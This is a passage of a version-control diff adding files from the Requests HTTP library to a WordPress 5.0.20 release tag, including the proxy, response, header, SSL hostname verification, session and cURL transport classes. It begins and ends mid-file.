+		$iri .= $this->ipath;
+		if ($this->iquery !== null) {
+			$iri .= '?' . $this->iquery;
+		}
+		if ($this->ifragment !== null) {
+			$iri .= '#' . $this->ifragment;
+		}
+
+		return $iri;
+	}
+
+	/**
+	 * Get the complete URI
+	 *
+	 * @return string
+	 */
+	protected function get_uri() {
+		return $this->to_uri($this->get_iri());
+	}
+
+	/**
+	 * Get the complete iauthority
+	 *
+	 * @return string
+	 */
+	protected function get_iauthority() {
+		if ($this->iuserinfo === null && $this->ihost === null && $this->port === null) {
+			return null;
+		}
+
+		$iauthority = '';
+		if ($this->iuserinfo !== null) {
+			$iauthority .= $this->iuserinfo . '@';
+		}
+		if ($this->ihost !== null) {
+			$iauthority .= $this->ihost;
+		}
+		if ($this->port !== null) {
+			$iauthority .= ':' . $this->port;
+		}
+		return $iauthority;
+	}
+
+	/**
+	 * Get the complete authority
+	 *
+	 * @return string
+	 */
+	protected function get_authority() {
+		$iauthority = $this->get_iauthority();
+		if (is_string($iauthority)) {
+			return $this->to_uri($iauthority);
+		}
+		else {
+			return $iauthority;
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Proxy.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Proxy.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Proxy.php	(revision 56912)
@@ -0,0 +1,35 @@
+<?php
+/**
+ * Proxy connection interface
+ *
+ * @package Requests
+ * @subpackage Proxy
+ * @since 1.6
+ */
+
+/**
+ * Proxy connection interface
+ *
+ * Implement this interface to handle proxy settings and authentication
+ *
+ * Parameters should be passed via the constructor where possible, as this
+ * makes it much easier for users to use your provider.
+ *
+ * @see Requests_Hooks
+ * @package Requests
+ * @subpackage Proxy
+ * @since 1.6
+ */
+interface Requests_Proxy {
+	/**
+	 * Register hooks as needed
+	 *
+	 * This method is called in {@see Requests::request} when the user has set
+	 * an instance as the 'auth' option. Use this callback to register all the
+	 * hooks you'll need.
+	 *
+	 * @see Requests_Hooks::register
+	 * @param Requests_Hooks $hooks Hook system
+	 */
+	public function register(Requests_Hooks &$hooks);
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Proxy/HTTP.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Proxy/HTTP.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Proxy/HTTP.php	(revision 56912)
@@ -0,0 +1,151 @@
+<?php
+/**
+ * HTTP Proxy connection interface
+ *
+ * @package Requests
+ * @subpackage Proxy
+ * @since 1.6
+ */
+
+/**
+ * HTTP Proxy connection interface
+ *
+ * Provides a handler for connection via an HTTP proxy
+ *
+ * @package Requests
+ * @subpackage Proxy
+ * @since 1.6
+ */
+class Requests_Proxy_HTTP implements Requests_Proxy {
+	/**
+	 * Proxy host and port
+	 *
+	 * Notation: "host:port" (eg 127.0.0.1:8080 or someproxy.com:3128)
+	 *
+	 * @var string
+	 */
+	public $proxy;
+
+	/**
+	 * Username
+	 *
+	 * @var string
+	 */
+	public $user;
+
+	/**
+	 * Password
+	 *
+	 * @var string
+	 */
+	public $pass;
+
+	/**
+	 * Do we need to authenticate? (ie username & password have been provided)
+	 *
+	 * @var boolean
+	 */
+	public $use_authentication;
+
+	/**
+	 * Constructor
+	 *
+	 * @since 1.6
+	 * @throws Requests_Exception On incorrect number of arguments (`authbasicbadargs`)
+	 * @param array|null $args Array of user and password. Must have exactly two elements
+	 */
+	public function __construct($args = null) {
+		if (is_string($args)) {
+			$this->proxy = $args;
+		}
+		elseif (is_array($args)) {
+			if (count($args) == 1) {
+				list($this->proxy) = $args;
+			}
+			elseif (count($args) == 3) {
+				list($this->proxy, $this->user, $this->pass) = $args;
+				$this->use_authentication = true;
+			}
+			else {
+				throw new Requests_Exception('Invalid number of arguments', 'proxyhttpbadargs');
+			}
+		}
+	}
+
+	/**
+	 * Register the necessary callbacks
+	 *
+	 * @since 1.6
+	 * @see curl_before_send
+	 * @see fsockopen_remote_socket
+	 * @see fsockopen_remote_host_path
+	 * @see fsockopen_header
+	 * @param Requests_Hooks $hooks Hook system
+	 */
+	public function register(Requests_Hooks &$hooks) {
+		$hooks->register('curl.before_send', array(&$this, 'curl_before_send'));
+
+		$hooks->register('fsockopen.remote_socket', array(&$this, 'fsockopen_remote_socket'));
+		$hooks->register('fsockopen.remote_host_path', array(&$this, 'fsockopen_remote_host_path'));
+		if ($this->use_authentication) {
+			$hooks->register('fsockopen.after_headers', array(&$this, 'fsockopen_header'));
+		}
+	}
+
+	/**
+	 * Set cURL parameters before the data is sent
+	 *
+	 * @since 1.6
+	 * @param resource $handle cURL resource
+	 */
+	public function curl_before_send(&$handle) {
+		curl_setopt($handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
+		curl_setopt($handle, CURLOPT_PROXY, $this->proxy);
+
+		if ($this->use_authentication) {
+			curl_setopt($handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY);
+			curl_setopt($handle, CURLOPT_PROXYUSERPWD, $this->get_auth_string());
+		}
+	}
+
+	/**
+	 * Alter remote socket information before opening socket connection
+	 *
+	 * @since 1.6
+	 * @param string $remote_socket Socket connection string
+	 */
+	public function fsockopen_remote_socket(&$remote_socket) {
+		$remote_socket = $this->proxy;
+	}
+
+	/**
+	 * Alter remote path before getting stream data
+	 *
+	 * @since 1.6
+	 * @param string $path Path to send in HTTP request string ("GET ...")
+	 * @param string $url Full URL we're requesting
+	 */
+	public function fsockopen_remote_host_path(&$path, $url) {
+		$path = $url;
+	}
+
+	/**
+	 * Add extra headers to the request before sending
+	 *
+	 * @since 1.6
+	 * @param string $out HTTP header string
+	 */
+	public function fsockopen_header(&$out) {
+		$out .= sprintf("Proxy-Authorization: Basic %s\r\n", base64_encode($this->get_auth_string()));
+	}
+
+	/**
+	 * Get the authentication string (user:pass)
+	 *
+	 * @since 1.6
+	 * @return string
+	 */
+	public function get_auth_string() {
+		return $this->user . ':' . $this->pass;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Response.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Response.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Response.php	(revision 56912)
@@ -0,0 +1,121 @@
+<?php
+/**
+ * HTTP response class
+ *
+ * Contains a response from Requests::request()
+ * @package Requests
+ */
+
+/**
+ * HTTP response class
+ *
+ * Contains a response from Requests::request()
+ * @package Requests
+ */
+class Requests_Response {
+	/**
+	 * Constructor
+	 */
+	public function __construct() {
+		$this->headers = new Requests_Response_Headers();
+		$this->cookies = new Requests_Cookie_Jar();
+	}
+
+	/**
+	 * Response body
+	 *
+	 * @var string
+	 */
+	public $body = '';
+
+	/**
+	 * Raw HTTP data from the transport
+	 *
+	 * @var string
+	 */
+	public $raw = '';
+
+	/**
+	 * Headers, as an associative array
+	 *
+	 * @var Requests_Response_Headers Array-like object representing headers
+	 */
+	public $headers = array();
+
+	/**
+	 * Status code, false if non-blocking
+	 *
+	 * @var integer|boolean
+	 */
+	public $status_code = false;
+
+	/**
+	 * Protocol version, false if non-blocking
+	 * @var float|boolean
+	 */
+	public $protocol_version = false;
+
+	/**
+	 * Whether the request succeeded or not
+	 *
+	 * @var boolean
+	 */
+	public $success = false;
+
+	/**
+	 * Number of redirects the request used
+	 *
+	 * @var integer
+	 */
+	public $redirects = 0;
+
+	/**
+	 * URL requested
+	 *
+	 * @var string
+	 */
+	public $url = '';
+
+	/**
+	 * Previous requests (from redirects)
+	 *
+	 * @var array Array of Requests_Response objects
+	 */
+	public $history = array();
+
+	/**
+	 * Cookies from the request
+	 *
+	 * @var Requests_Cookie_Jar Array-like object representing a cookie jar
+	 */
+	public $cookies = array();
+
+	/**
+	 * Is the response a redirect?
+	 *
+	 * @return boolean True if redirect (3xx status), false if not.
+	 */
+	public function is_redirect() {
+		$code = $this->status_code;
+		return in_array($code, array(300, 301, 302, 303, 307)) || $code > 307 && $code < 400;
+	}
+
+	/**
+	 * Throws an exception if the request was not successful
+	 *
+	 * @throws Requests_Exception If `$allow_redirects` is false, and code is 3xx (`response.no_redirects`)
+	 * @throws Requests_Exception_HTTP On non-successful status code. Exception class corresponds to code (e.g. {@see Requests_Exception_HTTP_404})
+	 * @param boolean $allow_redirects Set to false to throw on a 3xx as well
+	 */
+	public function throw_for_status($allow_redirects = true) {
+		if ($this->is_redirect()) {
+			if (!$allow_redirects) {
+				throw new Requests_Exception('Redirection not allowed', 'response.no_redirects', $this);
+			}
+		}
+		elseif (!$this->success) {
+			$exception = Requests_Exception_HTTP::get_class($this->status_code);
+			throw new $exception(null, $this);
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Response/Headers.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Response/Headers.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Response/Headers.php	(revision 56912)
@@ -0,0 +1,98 @@
+<?php
+/**
+ * Case-insensitive dictionary, suitable for HTTP headers
+ *
+ * @package Requests
+ */
+
+/**
+ * Case-insensitive dictionary, suitable for HTTP headers
+ *
+ * @package Requests
+ */
+class Requests_Response_Headers extends Requests_Utility_CaseInsensitiveDictionary {
+	/**
+	 * Get the given header
+	 *
+	 * Unlike {@see self::getValues()}, this returns a string. If there are
+	 * multiple values, it concatenates them with a comma as per RFC2616.
+	 *
+	 * Avoid using this where commas may be used unquoted in values, such as
+	 * Set-Cookie headers.
+	 *
+	 * @param string $key
+	 * @return string Header value
+	 */
+	public function offsetGet($key) {
+		$key = strtolower($key);
+		if (!isset($this->data[$key])) {
+			return null;
+		}
+
+		return $this->flatten($this->data[$key]);
+	}
+
+	/**
+	 * Set the given item
+	 *
+	 * @throws Requests_Exception On attempting to use dictionary as list (`invalidset`)
+	 *
+	 * @param string $key Item name
+	 * @param string $value Item value
+	 */
+	public function offsetSet($key, $value) {
+		if ($key === null) {
+			throw new Requests_Exception('Object is a dictionary, not a list', 'invalidset');
+		}
+
+		$key = strtolower($key);
+
+		if (!isset($this->data[$key])) {
+			$this->data[$key] = array();
+		}
+
+		$this->data[$key][] = $value;
+	}
+
+	/**
+	 * Get all values for a given header
+	 *
+	 * @param string $key
+	 * @return array Header values
+	 */
+	public function getValues($key) {
+		$key = strtolower($key);
+		if (!isset($this->data[$key])) {
+			return null;
+		}
+
+		return $this->data[$key];
+	}
+
+	/**
+	 * Flattens a value into a string
+	 *
+	 * Converts an array into a string by imploding values with a comma, as per
+	 * RFC2616's rules for folding headers.
+	 *
+	 * @param string|array $value Value to flatten
+	 * @return string Flattened value
+	 */
+	public function flatten($value) {
+		if (is_array($value)) {
+			$value = implode(',', $value);
+		}
+
+		return $value;
+	}
+
+	/**
+	 * Get an iterator for the data
+	 *
+	 * Converts the internal
+	 * @return ArrayIterator
+	 */
+	public function getIterator() {
+		return new Requests_Utility_FilteredIterator($this->data, array($this, 'flatten'));
+	}
+}
Index: /tags/5.0.20/src/wp-includes/Requests/SSL.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/SSL.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/SSL.php	(revision 56912)
@@ -0,0 +1,152 @@
+<?php
+/**
+ * SSL utilities for Requests
+ *
+ * @package Requests
+ * @subpackage Utilities
+ */
+
+/**
+ * SSL utilities for Requests
+ *
+ * Collection of utilities for working with and verifying SSL certificates.
+ *
+ * @package Requests
+ * @subpackage Utilities
+ */
+class Requests_SSL {
+	/**
+	 * Verify the certificate against common name and subject alternative names
+	 *
+	 * Unfortunately, PHP doesn't check the certificate against the alternative
+	 * names, leading things like 'https://www.github.com/' to be invalid.
+	 * Instead
+	 *
+	 * @see https://tools.ietf.org/html/rfc2818#section-3.1 RFC2818, Section 3.1
+	 *
+	 * @throws Requests_Exception On not obtaining a match for the host (`fsockopen.ssl.no_match`)
+	 * @param string $host Host name to verify against
+	 * @param array $cert Certificate data from openssl_x509_parse()
+	 * @return bool
+	 */
+	public static function verify_certificate($host, $cert) {
+		// Calculate the valid wildcard match if the host is not an IP address
+		$parts = explode('.', $host);
+		if (ip2long($host) === false) {
+			$parts[0] = '*';
+		}
+		$wildcard = implode('.', $parts);
+
+		$has_dns_alt = false;
+
+		// Check the subjectAltName
+		if (!empty($cert['extensions']) && !empty($cert['extensions']['subjectAltName'])) {
+			$altnames = explode(',', $cert['extensions']['subjectAltName']);
+			foreach ($altnames as $altname) {
+				$altname = trim($altname);
+				if (strpos($altname, 'DNS:') !== 0) {
+					continue;
+				}
+
+				$has_dns_alt = true;
+
+				// Strip the 'DNS:' prefix and trim whitespace
+				$altname = trim(substr($altname, 4));
+
+				// Check for a match
+				if (self::match_domain($host, $altname) === true) {
+					return true;
+				}
+			}
+		}
+
+		// Fall back to checking the common name if we didn't get any dNSName
+		// alt names, as per RFC2818
+		if (!$has_dns_alt && !empty($cert['subject']['CN'])) {
+			// Check for a match
+			if (self::match_domain($host, $cert['subject']['CN']) === true) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Verify that a reference name is valid
+	 *
+	 * Verifies a dNSName for HTTPS usage, (almost) as per Firefox's rules:
+	 * - Wildcards can only occur in a name with more than 3 components
+	 * - Wildcards can only occur as the last character in the first
+	 *   component
+	 * - Wildcards may be preceded by additional characters
+	 *
+	 * We modify these rules to be a bit stricter and only allow the wildcard
+	 * character to be the full first component; that is, with the exclusion of
+	 * the third rule.
+	 *
+	 * @param string $reference Reference dNSName
+	 * @return boolean Is the name valid?
+	 */
+	public static function verify_reference_name($reference) {
+		$parts = explode('.', $reference);
+
+		// Check the first part of the name
+		$first = array_shift($parts);
+
+		if (strpos($first, '*') !== false) {
+			// Check that the wildcard is the full part
+			if ($first !== '*') {
+				return false;
+			}
+
+			// Check that we have at least 3 components (including first)
+			if (count($parts) < 2) {
+				return false;
+			}
+		}
+
+		// Check the remaining parts
+		foreach ($parts as $part) {
+			if (strpos($part, '*') !== false) {
+				return false;
+			}
+		}
+
+		// Nothing found, verified!
+		return true;
+	}
+
+	/**
+	 * Match a hostname against a dNSName reference
+	 *
+	 * @param string $host Requested host
+	 * @param string $reference dNSName to match against
+	 * @return boolean Does the domain match?
+	 */
+	public static function match_domain($host, $reference) {
+		// Check if the reference is blacklisted first
+		if (self::verify_reference_name($reference) !== true) {
+			return false;
+		}
+
+		// Check for a direct match
+		if ($host === $reference) {
+			return true;
+		}
+
+		// Calculate the valid wildcard match if the host is not an IP address
+		// Also validates that the host has 3 parts or more, as per Firefox's
+		// ruleset.
+		if (ip2long($host) === false) {
+			$parts = explode('.', $host);
+			$parts[0] = '*';
+			$wildcard = implode('.', $parts);
+			if ($wildcard === $reference) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Session.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Session.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Session.php	(revision 56912)
@@ -0,0 +1,270 @@
+<?php
+/**
+ * Session handler for persistent requests and default parameters
+ *
+ * @package Requests
+ * @subpackage Session Handler
+ */
+
+/**
+ * Session handler for persistent requests and default parameters
+ *
+ * Allows various options to be set as default values, and merges both the
+ * options and URL properties together. A base URL can be set for all requests,
+ * with all subrequests resolved from this. Base options can be set (including
+ * a shared cookie jar), then overridden for individual requests.
+ *
+ * @package Requests
+ * @subpackage Session Handler
+ */
+class Requests_Session {
+	/**
+	 * Base URL for requests
+	 *
+	 * URLs will be made absolute using this as the base
+	 * @var string|null
+	 */
+	public $url = null;
+
+	/**
+	 * Base headers for requests
+	 * @var array
+	 */
+	public $headers = array();
+
+	/**
+	 * Base data for requests
+	 *
+	 * If both the base data and the per-request data are arrays, the data will
+	 * be merged before sending the request.
+	 *
+	 * @var array
+	 */
+	public $data = array();
+
+	/**
+	 * Base options for requests
+	 *
+	 * The base options are merged with the per-request data for each request.
+	 * The only default option is a shared cookie jar between requests.
+	 *
+	 * Values here can also be set directly via properties on the Session
+	 * object, e.g. `$session->useragent = 'X';`
+	 *
+	 * @var array
+	 */
+	public $options = array();
+
+	/**
+	 * Create a new session
+	 *
+	 * @param string|null $url Base URL for requests
+	 * @param array $headers Default headers for requests
+	 * @param array $data Default data for requests
+	 * @param array $options Default options for requests
+	 */
+	public function __construct($url = null, $headers = array(), $data = array(), $options = array()) {
+		$this->url = $url;
+		$this->headers = $headers;
+		$this->data = $data;
+		$this->options = $options;
+
+		if (empty($this->options['cookies'])) {
+			$this->options['cookies'] = new Requests_Cookie_Jar();
+		}
+	}
+
+	/**
+	 * Get a property's value
+	 *
+	 * @param string $key Property key
+	 * @return mixed|null Property value, null if none found
+	 */
+	public function __get($key) {
+		if (isset($this->options[$key])) {
+			return $this->options[$key];
+		}
+
+		return null;
+	}
+
+	/**
+	 * Set a property's value
+	 *
+	 * @param string $key Property key
+	 * @param mixed $value Property value
+	 */
+	public function __set($key, $value) {
+		$this->options[$key] = $value;
+	}
+
+	/**
+	 * Remove a property's value
+	 *
+	 * @param string $key Property key
+	 */
+	public function __isset($key) {
+		return isset($this->options[$key]);
+	}
+
+	/**
+	 * Remove a property's value
+	 *
+	 * @param string $key Property key
+	 */
+	public function __unset($key) {
+		if (isset($this->options[$key])) {
+			unset($this->options[$key]);
+		}
+	}
+
+	/**#@+
+	 * @see request()
+	 * @param string $url
+	 * @param array $headers
+	 * @param array $options
+	 * @return Requests_Response
+	 */
+	/**
+	 * Send a GET request
+	 */
+	public function get($url, $headers = array(), $options = array()) {
+		return $this->request($url, $headers, null, Requests::GET, $options);
+	}
+
+	/**
+	 * Send a HEAD request
+	 */
+	public function head($url, $headers = array(), $options = array()) {
+		return $this->request($url, $headers, null, Requests::HEAD, $options);
+	}
+
+	/**
+	 * Send a DELETE request
+	 */
+	public function delete($url, $headers = array(), $options = array()) {
+		return $this->request($url, $headers, null, Requests::DELETE, $options);
+	}
+	/**#@-*/
+
+	/**#@+
+	 * @see request()
+	 * @param string $url
+	 * @param array $headers
+	 * @param array $data
+	 * @param array $options
+	 * @return Requests_Response
+	 */
+	/**
+	 * Send a POST request
+	 */
+	public function post($url, $headers = array(), $data = array(), $options = array()) {
+		return $this->request($url, $headers, $data, Requests::POST, $options);
+	}
+
+	/**
+	 * Send a PUT request
+	 */
+	public function put($url, $headers = array(), $data = array(), $options = array()) {
+		return $this->request($url, $headers, $data, Requests::PUT, $options);
+	}
+
+	/**
+	 * Send a PATCH request
+	 *
+	 * Note: Unlike {@see post} and {@see put}, `$headers` is required, as the
+	 * specification recommends that should send an ETag
+	 *
+	 * @link https://tools.ietf.org/html/rfc5789
+	 */
+	public function patch($url, $headers, $data = array(), $options = array()) {
+		return $this->request($url, $headers, $data, Requests::PATCH, $options);
+	}
+	/**#@-*/
+
+	/**
+	 * Main interface for HTTP requests
+	 *
+	 * This method initiates a request and sends it via a transport before
+	 * parsing.
+	 *
+	 * @see Requests::request()
+	 *
+	 * @throws Requests_Exception On invalid URLs (`nonhttp`)
+	 *
+	 * @param string $url URL to request
+	 * @param array $headers Extra headers to send with the request
+	 * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
+	 * @param string $type HTTP request type (use Requests constants)
+	 * @param array $options Options for the request (see {@see Requests::request})
+	 * @return Requests_Response
+	 */
+	public function request($url, $headers = array(), $data = array(), $type = Requests::GET, $options = array()) {
+		$request = $this->merge_request(compact('url', 'headers', 'data', 'options'));
+
+		return Requests::request($request['url'], $request['headers'], $request['data'], $type, $request['options']);
+	}
+
+	/**
+	 * Send multiple HTTP requests simultaneously
+	 *
+	 * @see Requests::request_multiple()
+	 *
+	 * @param array $requests Requests data (see {@see Requests::request_multiple})
+	 * @param array $options Global and default options (see {@see Requests::request})
+	 * @return array Responses (either Requests_Response or a Requests_Exception object)
+	 */
+	public function request_multiple($requests, $options = array()) {
+		foreach ($requests as $key => $request) {
+			$requests[$key] = $this->merge_request($request, false);
+		}
+
+		$options = array_merge($this->options, $options);
+
+		// Disallow forcing the type, as that's a per request setting
+		unset($options['type']);
+
+		return Requests::request_multiple($requests, $options);
+	}
+
+	public function __wakeup() {
+		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
+	}
+
+	/**
+	 * Merge a request's data with the default data
+	 *
+	 * @param array $request Request data (same form as {@see request_multiple})
+	 * @param boolean $merge_options Should we merge options as well?
+	 * @return array Request data
+	 */
+	protected function merge_request($request, $merge_options = true) {
+		if ($this->url !== null) {
+			$request['url'] = Requests_IRI::absolutize($this->url, $request['url']);
+			$request['url'] = $request['url']->uri;
+		}
+
+		if (empty($request['headers'])) {
+			$request['headers'] = array();
+		}
+		$request['headers'] = array_merge($this->headers, $request['headers']);
+
+		if (empty($request['data'])) {
+			if (is_array($this->data)) {
+				$request['data'] = $this->data;
+			}
+		}
+		elseif (is_array($request['data']) && is_array($this->data)) {
+			$request['data'] = array_merge($this->data, $request['data']);
+		}
+
+		if ($merge_options !== false) {
+			$request['options'] = array_merge($this->options, $request['options']);
+
+			// Disallow forcing the type, as that's a per request setting
+			unset($request['options']['type']);
+		}
+
+		return $request;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Transport.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Transport.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Transport.php	(revision 56912)
@@ -0,0 +1,41 @@
+<?php
+/**
+ * Base HTTP transport
+ *
+ * @package Requests
+ * @subpackage Transport
+ */
+
+/**
+ * Base HTTP transport
+ *
+ * @package Requests
+ * @subpackage Transport
+ */
+interface Requests_Transport {
+	/**
+	 * Perform a request
+	 *
+	 * @param string $url URL to request
+	 * @param array $headers Associative array of request headers
+	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
+	 * @param array $options Request options, see {@see Requests::response()} for documentation
+	 * @return string Raw HTTP result
+	 */
+	public function request($url, $headers = array(), $data = array(), $options = array());
+
+	/**
+	 * Send multiple requests simultaneously
+	 *
+	 * @param array $requests Request data (array of 'url', 'headers', 'data', 'options') as per {@see Requests_Transport::request}
+	 * @param array $options Global options, see {@see Requests::response()} for documentation
+	 * @return array Array of Requests_Response objects (may contain Requests_Exception or string responses as well)
+	 */
+	public function request_multiple($requests, $options);
+
+	/**
+	 * Self-test whether the transport can be used
+	 * @return bool
+	 */
+	public static function test();
+}
Index: /tags/5.0.20/src/wp-includes/Requests/Transport/cURL.php
===================================================================
--- /tags/5.0.20/src/wp-includes/Requests/Transport/cURL.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/Requests/Transport/cURL.php	(revision 56912)
@@ -0,0 +1,542 @@
+<?php
+/**
+ * cURL HTTP transport
+ *
+ * @package Requests
+ * @subpackage Transport
+ */
+
+/**
+ * cURL HTTP transport
+ *
+ * @package Requests
+ * @subpackage Transport
+ */
+class Requests_Transport_cURL implements Requests_Transport {
+	const CURL_7_10_5 = 0x070A05;
+	const CURL_7_16_2 = 0x071002;
+
+	/**
+	 * Raw HTTP data
+	 *
+	 * @var string
+	 */
+	public $headers = '';
+
+	/**
+	 * Raw body data
+	 *
+	 * @var string
+	 */
+	public $response_data = '';
+
+	/**
+	 * Information on the current request
+	 *
+	 * @var array cURL information array, see {@see https://secure.php.net/curl_getinfo}
+	 */
+	public $info;
+
+	/**
+	 * Version string
+	 *
+	 * @var long
+	 */
+	public $version;
+
+	/**
+	 * cURL handle
+	 *
+	 * @var resource
+	 */
+	protected $handle;
+
+	/**
+	 * Hook dispatcher instance
+	 *
+	 * @var Requests_Hooks
+	 */
+	protected $hooks;
+
+	/**
+	 * Have we finished the headers yet?
+	 *
+	 * @var boolean
+	 */
+	protected $done_headers = false;
+
+	/**
+	 * If streaming to a file, keep the file pointer
+	 *
+	 * @var resource
+	 */
+	protected $stream_handle;
+
+	/**
+	 * How many bytes are in the response body?
+	 *
+	 * @var int
+	 */
+	protected $response_bytes;
+
+	/**
+	 * What's the maximum number of bytes we should keep?
+	 *
+	 * @var int|bool Byte count, or false if no limit.
+	 */
+	protected $response_byte_limit;
+
+	/**
+	 * Constructor
+	 */
+	public function __construct() {
+		$curl = curl_version();
+		$this->version = $curl['version_number'];
+		$this->handle = curl_init();
+
+		curl_setopt($this->handle, CURLOPT_HEADER, false);
+		curl_setopt($this->handle, CURLOPT_RETURNTRANSFER, 1);
+		if ($this->version >= self::CURL_7_10_5) {
+			curl_setopt($this->handle, CURLOPT_ENCODING, '');
+		}
+		if (defined('CURLOPT_PROTOCOLS')) {
+			curl_setopt($this->handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
+		}
+		if (defined('CURLOPT_REDIR_PROTOCOLS')) {
+			curl_setopt($this->handle, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
+		}
+	}
+
+	/**
+	 * Destructor
+	 */
+	public function __destruct() {
+		if (is_resource($this->handle)) {
+			curl_close($this->handle);
+		}
+	}
+
+	/**
+	 * Perform a request
+	 *
+	 * @throws Requests_Exception On a cURL error (`curlerror`)
+	 *
+	 * @param string $url URL to request
+	 * @param array $headers Associative array of request headers
+	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
+	 * @param array $options Request options, see {@see Requests::response()} for documentation
+	 * @return string Raw HTTP result
+	 */
+	public function request($url, $headers = array(), $data = array(), $options = array()) {
+		$this->hooks = $options['hooks'];
+
+		$this->setup_handle($url, $headers, $data, $options);
+
+		$options['hooks']->dispatch('curl.before_send', array(&$this->handle));
+
+		if ($options['filename'] !== false) {
+			$this->stream_handle = fopen($options['filename'], 'wb');
+		}
+
+		$this->response_data = '';
+		$this->response_bytes = 0;
+		$this->response_byte_limit = false;
+		if ($options['max_bytes'] !== false) {
+			$this->response_byte_limit = $options['max_bytes'];
+		}
+
+		if (isset($options['verify'])) {
+			if ($options['verify'] === false) {
+				curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0);
+				curl_setopt($this->handle, CURLOPT_SSL_VERIFYPEER, 0);
+			}
+			elseif (is_string($options['verify'])) {
+				curl_setopt($this->handle, CURLOPT_CAINFO, $options['verify']);
+			}
+		}
+
+		if (isset($options['verifyname']) && $options['verifyname'] === false) {
+			curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0);
+		}
+
+		curl_exec($this->handle);
+		$response = $this->response_data;
+
+		$options['hooks']->dispatch('curl.after_send', array());
+
+		if (curl_errno($this->handle) === 23 || curl_errno($this->handle) === 61) {
+			// Reset encoding and try again
+			curl_setopt($this->handle, CURLOPT_ENCODING, 'none');
+
+			$this->response_data = '';
+			$this->response_bytes = 0;
+			curl_exec($this->handle);
+			$response = $this->response_data;
+		}
+
+		$this->process_response($response, $options);
+
+		// Need to remove the $this reference from the curl handle.
+		// Otherwise Requests_Transport_cURL wont be garbage collected and the curl_close() will never be called.
+		curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, null);
+		curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, null);
+
+		return $this->headers;
+	}
+
+	/**
+	 * Send multiple requests simultaneously
+	 *
+	 * @param array $requests Request data
+	 * @param array $options Global options
+	 * @return array Array of Requests_Response objects (may contain Requests_Exception or string responses as well)
+	 */
+	public function request_multiple($requests, $options) {
+		// If you're not requesting, we can't get any responses ¯\_(ツ)_/¯
+		if (empty($requests)) {
+			return array();
+		}
+
+		$multihandle = curl_multi_init();
+		$subrequests = array();
+		$subhandles = array();
+
+		$class = get_class($this);
+		foreach ($requests as $id => $request) {
+			$subrequests[$id] = new $class();
+			$subhandles[$id] = $subrequests[$id]->get_subrequest_handle($request['url'], $request['headers'], $request['data'], $request['options']);
+			$request['options']['hooks']->dispatch('curl.before_multi_add', array(&$subhandles[$id]));
+			curl_multi_add_handle($multihandle, $subhandles[$id]);
+		}
+
+		$completed = 0;
+		$responses = array();
+
+		$request['options']['hooks']->dispatch('curl.before_multi_exec', array(&$multihandle));
+
+		do {
+			$active = false;
+
+			do {
+				$status = curl_multi_exec($multihandle, $active);
+			}
+			while ($status === CURLM_CALL_MULTI_PERFORM);
+
+			$to_process = array();
+
+			// Read the information as needed
+			while ($done = curl_multi_info_read($multihandle)) {
+				$key = array_search($done['handle'], $subhandles, true);
+				if (!isset($to_process[$key])) {
+					$to_process[$key] = $done;
+				}
+			}
+
+			// Parse the finished requests before we start getting the new ones
+			foreach ($to_process as $key => $done) {
+				$options = $requests[$key]['options'];
+				if (CURLE_OK !== $done['result']) {
+					//get error string for handle.
+					$reason = curl_error($done['handle']);
+					$exception = new Requests_Exception_Transport_cURL(
+									$reason,
+									Requests_Exception_Transport_cURL::EASY,
+									$done['handle'],
+									$done['result']
+								);
+					$responses[$key] = $exception;
+					$options['hooks']->dispatch('transport.internal.parse_error', array(&$responses[$key], $requests[$key]));
+				}
+				else {
+					$responses[$key] = $subrequests[$key]->process_response($subrequests[$key]->response_data, $options);
+
+					$options['hooks']->dispatch('transport.internal.parse_response', array(&$responses[$key], $requests[$key]));
+				}
+
+				curl_multi_remove_handle($multihandle, $done['handle']);
+				curl_close($done['handle']);
+
+				if (!is_string($responses[$key])) {
+					$options['hooks']->dispatch('multiple.request.complete', array(&$responses[$key], $key));
+				}
+				$completed++;
+			}
+		}
+		while ($active || $completed < count($subrequests));
+
+		$request['options']['hooks']->dispatch('curl.after_multi_exec', array(&$multihandle));
+
+		curl_multi_close($multihandle);
+
+		return $responses;
+	}
+
+	/**
+	 * Get the cURL handle for use in a multi-request
+	 *
+	 * @param string $url URL to request
+	 * @param array $headers Associative array of request headers
+	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
+	 * @param array $options Request options, see {@see Requests::response()} for documentation
+	 * @return resource Subrequest's cURL handle
+	 */
